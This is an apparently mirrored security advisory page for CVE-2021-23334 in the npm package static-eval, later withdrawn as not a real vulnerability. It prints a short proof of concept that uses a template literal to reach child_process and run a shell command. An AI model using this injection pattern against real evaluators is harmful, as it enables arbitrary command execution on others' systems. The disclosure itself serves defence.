logo

CVE-2021-23334 static-eval

Package

Manager: npm
Name: static-eval
Vulnerable Version: <0

Severity

Level: Critical

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4.0: N/A

EPSS: N/A pctlN/A

Details

Withdrawn: Arbitrary Code Execution in static-eval All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast) # WITHDRAWN This was deemed not a vulnerability. See [this issue](https://github.com/browserify/static-eval/issues/34) for details.

Metadata

Created: 2021-05-06T16:11:25Z
Modified: 2021-05-06T16:12:57Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-8v27-2fg9-7h62/GHSA-8v27-2fg9-7h62.json
CWE IDs: ["CWE-94"]
Alternative ID: GHSA-8v27-2fg9-7h62
Finding: N/A
Auto approve: 0